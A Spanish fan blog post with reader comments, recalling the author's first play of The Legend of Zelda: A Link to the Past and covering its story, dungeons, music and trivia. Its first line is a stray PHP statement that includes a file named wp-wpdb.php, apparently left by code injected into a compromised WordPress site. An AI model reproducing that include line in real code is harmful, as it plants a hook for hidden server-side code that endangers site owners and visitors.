if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); The Legend of zelda: A Link to the Past, mi primer zelda – La Fortaleza de LeChuck

The Legend of zelda: A Link to the Past, mi primer zelda

La semana pasada Nintendo nos dejaba con la boca abierta ante el notición de Zelda: A link to the past II, secuela del mítico juego de SNES. Muchos veteranos de la saga cuentan los días hasta finales de año, otros han aprovechado el bombazo para descubrir las aventuras de Link en los 16 bits. Yo simplemente quiero contaros mi experiencia con mi primer Zelda, que no fue otro que A Link to the Past.

 

Antes que nada, tengo que decir que no soy una «zeldera», es decir, solo me he pasado Zelda: A link to the past y Zelda: Ocarina of time, éste último, curiosamente, lo estaba terminando cuando saltó la noticia de la secuela del clásico de Super Nintendo para 3DS. Como buena amante de los 16 bits, y los JRPG clásicos que soy, hace unos años cumplí con A Link to the Past, uno de mis grandes títulos pendientes.

Introducción

The Legend of Zelda: A Link to the past fue el tercero de la saga ideada por el maestro Shigeru Miyamoto para Nintendo, sin embargo, en un principio, tenía previsto aparecer en NES, pero dada la elevada cantidad de títulos que tenían en producción, decidieron que sería más adecuando esperar a la siguiente generación de 16 bits. Fue así como en 1991 apareció Zeruda no Densetsu: Kamigami no Toraifousu (La Leyenda de Zelda: La Trifuerza de las Diosas) en Super Nintendo. Un año más tarde, en 1992, llegó por occidente bajo el nombre de The Legend of Zelda: A Link to the past. Y marcó el comienzo de un gran periodo de grandes JRPG que se levantaban en Super Nintendo, donde se nos dejaba ser héroes y forjar la leyenda. Los que fuimos niños en esa época llamamos a nuestro héroe Juan, Virginia, Hector, Jonathan… Coged el cartucho, quizá aún siga esa partida ahí.

 

Carátula japonesa

 

Los más osados quizá se lanzaron en su día a jugarlo en inglés y se lo pasaron, yo, sin embargo, recuerdo que le dediqué su tiempo recorriendo el mapa, mientras la melodía pegadiza de los campos de Hyrule me envolvía, pero tenía demasiadas líneas en inglés para mi corta edad y lo acabé abandonado, no sin la esperanza de que algún día lo tradujeran. Diez años después, en 2002, se reeditó para Gameboy advance en español e incluyó The Legend of Zelda: Four Swords, un curioso multijugador local. Nintendo brindaba una maravillosa oportunidad a todos aquellos que fuimos niños y no pudimos terminar la aventura, y a otros de vivirla por primera vez.


Historia

El juego comienza con una introducción que nos relata como en el reino de Hyrule había una isla dorada con un inmenso poder oculto. Muchos partieron en su búsqueda pero ninguno regresó. El poder maligno cubrió la isla, pero para ponerle remedio, siete sabios sellaron el lugar por orden del rey. Ha pasado mucho tiempo y los hylianos recuerdan esos sucesos como simples leyendas. Hasta que un día el rey de Hyrule es asesinado a manos de un misterioso hechicero llamado Agahnim, el cual ha capturado a las Siete Doncellas, descendientes de los Siete Sabios, con la intención de romper el sello.
No hace falta decir quien es realmente, ¿verdad?
Una noche de tormenta, Link, un descendiente de los Caballeros de Hyrule, encargados de proteger a la familia real, recibe la llamada de socorro de la Princesa Zelda, que le implora que la libere de su cautiverio en las mazmorras del castillo de Hyrule, ya que es una de las últimas doncellas que quedan. Link despierta, y su tío, armado con una espada y un escudo, le pide que se quede en casa. A partir de aquí tomamos el control de Link para dirigirlo al castillo, pero una vez allí, encuentra a su tío herido, quien antes de desfallecer, le da la espada y el escudo.
Después de rescatar a Zelda, salen por un pasadizo secreto que conduce a un santuario donde nos espera un sabio que explica a Link la leyenda de la Espada Maestra, un arma necesaria para romper la barrera de la torre principal del castillo de Hyrule, donde yace Agahnim. Sin embargo, para demostrar que es digno de empuñar la Espada Maestra, debe recuperar los colgantes de la sabiduría, el valor y poder perdidos en tres mazmorras de Hyrule. Link esconde a Zelda pero al regresar descubre que ha sido secuestrada por el villano y enviada al mundo oscuro del que hablan las leyendas.
Después de superar mil peligros, obtenemos nuestro preciado tesoro

Un Hyrule muy familiar

Desde el comienzo del juego, se nos da libertad para explorar gran parte del mundo de Hyrule, salvo algunas zonas que se desbloquearán a medida que avancemos en el juego. Como en muchos otros Zeldas, charlaremos con las gentes del pueblo de Kakariko, recorreremos las praderas de Hyrule, entraremos en el castillo de Zelda, nos adentraremos en el laberíntico bosque perdido, nadaremos por el lago Hylia, o nos enfrentaremos a los peligros de la montaña de la muerte… Estas son algunas de las numerosas localizaciones del mapa mundi hyliano

 

Mundos paralelos

El título inglés «A Link to the past» puede llevar a la confusión a muchos futuros jugadores y hacerles creer que tendremos saltos en el tiempo, como es el caso de Ocarina of Time, pero nada más lejos de la realidad. Esta invención estadounidense pretendía hacer referencia al «enlace al pasado» que representa el juego en el orden cronológico de la saga, como bien pudimos ver en la cronología del Hyrule Historia.

Hasta aquí todo bien, pero ¿y eso del mundo oscuro? pues he aquí la otra parte del juego y motivo de muchos quebraderos de cabeza. El mundo de la luz y el mundo oscuro son las dos realidades paralelas por las que nos moveremos durante el juego. Es decir, deberemos realizar acciones en una y otra para poder acceder a zonas y avanzar en el juego.

Esta pinta tan mona tenemos la primera vez en el Mundo Oscuro

Entre la luz y la oscuridad se desarrolla esta historia, en la que nos bastará con recoger corazones, superar mazmorra, conseguir los objetos necesarios y disfrutar de algunas sencillas mini-quest. No hay minijuegos, ni objetos a recolectar como las Skulltula, ni más de un pueblo. Esta simplificación no es para nada decepcionante, ya que nos esperan muchas horas de diversión por delante repartidas entre las mazmorras tan magistralmente diseñadas entre dos mundos, y estamos hablamos de un juego de hace más de 20 años que ha envejecido muy bien.

La «flauta»(es una ocarina, pero se llamó así) será el instrumento musical del juego, pero con un uso curioso

Un verdadero desafío

¿El templo del agua de Ocarina of Time difícil? ¡Ja! En A Link to the Past no solo encontrarás una mazmorra difícil, sino todas! y te acordarás constantemente de la familia del diseñador de niveles! Para los jugadores que crecieron en la era poligonal, será una continua frustración, pero para los que de alguna manera jugaron allá por 1992, o simplemente están acostumbrados a JRPG o juegos de acción/aventuras de la época, se sentirán como en casa. Sin duda, algunos de los rompecabezas te hacen sudar y desesperan hasta el extremo de soltar una ristra de improperios delante de la pantalla y lanzar el mando de la Super o la Gameboy Advance por la ventana, o en el mejor de los casos, acudir asqueado a una guía que te saque del pozo. La mayoría de mazmorras tienen la friolera de siete niveles con trampas, puzzles, enemigos por doquier y pocas vasijas con corazones y hadas.

Así que id olvidando los últimos Zeldas, en que los golpes apenas restan vida, o si no ya os lo hará entender algún jefe final, dejando K.O al pobre Link en tan solo un par de golpes. Se necesita una alta dosis de paciencia embotellada, ya que de hadas hay escasez. Para vuestra tranquilidad, en las batallas contra los jefes, una vez que se descubre la debilidad, son bastante sencillas y no os llevarán mucho tiempo (salvo el gusano asqueroso y repugnante que me cago en toda su especie)

¡¡¡Grandísimo hijo de la #%&!!!

Según se dice, en Super Nintendo la dificultad era superior, más objetos debíamos utilizar, con una gran cantidad de enemigos en cada pantalla y rompecabezas más complejos.

La banda sonora de ensueño

Otro de los puntos clave del éxito de este juego. The Legend of Zelda de NES nos dejó vislumbrar lo que sería el tema principal de la saga, pero no fue hasta A Link to the Past donde se pudo percibir realmente su auténtica belleza. Mientras recorremos los prados verdes de Hyrule, quedaremos hechizados por la melodía que irremediablemente tarearemos. Pero hay más, mucho más. ¿Hace falta nombrar el soberbio tema de Dark World? Dejaos conquistar por su fuerza.

https://youtu.be/WOb0CcSA04c

A lo largo de los 30 temas que componen su banda sonora, también habrá lugar para tranquilas melodías como la de «Kakariko» (suena exactamente igual que en Ocarina of Time), majestuosos temas como el de «Sanctuary Dungeon» (el mejor tema que jamás ha visto una mazmorra), o el sorprendente tema de «Turned into a Rabbit». Esto es solo uno pequeño ejemplo del brillante trabajo de composición de Koji Kondo. Tampoco son para desmerecer los efectos de sonido del juego, explosiones, golpes, sonido de la espada, ruidos metálicos, y la mítica mini melodía cuando conseguimos el contenido de un cofre. En la reedición de Gameboy Advance se añadieron los molestos gritos de Link.

Curiosidades

A Link to the past tiene muchas curiosidades y gitches para hacer más divertida la experiencia. Aquí algunas de ellas.

 

– Dentro de las casas de Kakariko podemos encontrar cuadros de Mario.

– Las limitaciones técnicas de la SNES hicieron que se viera rosa el pelo de Link.

– La habitación de Chris Houlihan: un error en la carga de pantalla enviaba al jugador a una curiosa habitación con nombre de una persona real, y ganador de un concurso de la Nintendo Power. En ella encontramos un azulejo telepático y 225 rupias. Normalmente, al lanzarnos desde un agujero podemos aparecer en este curioso cuarto.

– Es la primera vez que aparece el gancho y la espada maestra, elementos que se han incorporado en el universo Zelda.

– Diferencias entre los gráficos de la versión japonesa y americana, la cual adornó más algunas pantallas.

Conclusión

The Legend of Zelda: A Link to the past es un juego indispensable en el universo de The Legend of Zelda, y nadie debería considerarse «Zeldero», ni amante de los juegos de la generación 16 bits, si no ha sufrido con Link a través de las mejores mazmorras que ha visto Hyrule. Para los más jóvenes, cuyo primer Zelda fue el Ocarina, no os dejéis intimidar por las pruebas que se plantean desde un inicio, tomároslo como un reto y seréis recompensados con la enorme satisfacción de finalizar un pedazo de la historia de los videojuegos.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

14 comentarios

  1. Me ha hecho especial ilusión esta entrada porque describes a la perfección lo que sentí ya hace 20 años.
    Muchos empezábamos en esto y no sabíamos lo que hacíamos. Recuerdo que le compré el juego a un amigo y tenía una partida que se llamaba NACHO y dije, a modo de homenaje voy a llamar al prota así. Ahora me preguntan si voy a llamarle Nacho a Link en el próximo Zelda y me tiro varios días

    1. jaja mola meter el cartucho y encontrarte con esas cosillas! a mí también me paso cuando compre los cartuchos de Gameboy del Zelda, habían nombres de personas. Es bonito ^^

      Atascarte en la mazmorra y tener que apañártelas sin internet era la magia de la época. Las mazmorras estaban diseñadas según el lugar, son todas increíbles.

      Lo que pasa con el Ocarina of Time es similar

  2. Para mí el mejor Zelda. El más encantador, el más carismático, el más todo. Destacaba en casi cualquier aspecto imaginable desde la historia hasta el tamaño del mapa pasando por los secretos ocultos en Hyrule o el puntazo del pequeño librillo a modo con algunas soluciones si te quedabas atascado.

    Lo tengo pendiente de rejugar ya que muchas de sus partes las he olvidado (¡cómo pasa el

  3. Muy buen Zelda, me lo pasé en Super y en GB advance, pero a mi parecer abusa de las mazmorras, tiene demasiadas y se acaba convirtiendo en un simple acabar una e ir a por la siguiente. Links awakening me parece mucho más redondo, muy equilibrado, con buenas mazmorras y búsquedas secundarias, con el gran añadido de poder saltar, y el único juego de la saga en el que, leyendo entre lineas, Link es

    1. yo creo que las mazmorras es la esencia del Zelda, donde más empeño se le pone en que diviertan y tengan puzzles originales. Me ha entrado mucha curiosidad por el Link Awakening que comentas! creo que lo tengo en Gameboy, será cuestión de pasármelo de una vez por todas 🙂

    2. ¿No lo has jugado? Vas a flipar, primero por el juegazo que es, y segundo porque es increíble que todo ese mundo cupiera en un cartucho de GB. La edición de GB color está en español y tiene una mazmorra extra. Un consejo carente de espoilers: cada vez q reúnas 5 conchas tienes q ir a la casa de las conchas, que te darán una cada vez. Si no, es muy posible que no consigas las suficientes para

    3. Me has hecho ir a buscar el cartucho! y efectivamente lo tengo junto al Oracle of Ages. Lo que está en inglés! ouch! El de la versión DX de gameboy color estaba en español?
      Por cierto, anónimo, usa para comentar la opción de Nombre/URL! (aunque no es obligatorio poner una url)! o por cuenta de google, hombre!

    4. El Zelda: Link's Awakening siempre nos llegó aquí en inglés tanto el primero para la "verde" como posteriormente el dx para la color. Incluso la versión que apareció para GB advance es en el idioma de Shakespeare. Aunque no es lo mismo siempre puedes hacer uso de un emulador para el cual sí existen roms traducidas a nuestro idioma.

      Es increíble que un juego de ese calibre

  4. Me considero afortunado de que este fuera el primer juego que jugue yo enserio y tengo la desgracia que lo juegue a los 6 años y me pase hasta los 8 jugando y siempre crei habermelo pasado menos el boss final, pero no me pase ni la mitad, y ahora no lo encuentro.
    Algunas melodias aun ahora con 17 años, aun resuenan en mi cabeza
    Y sin este juego creo que hoy dia seria un manco que no

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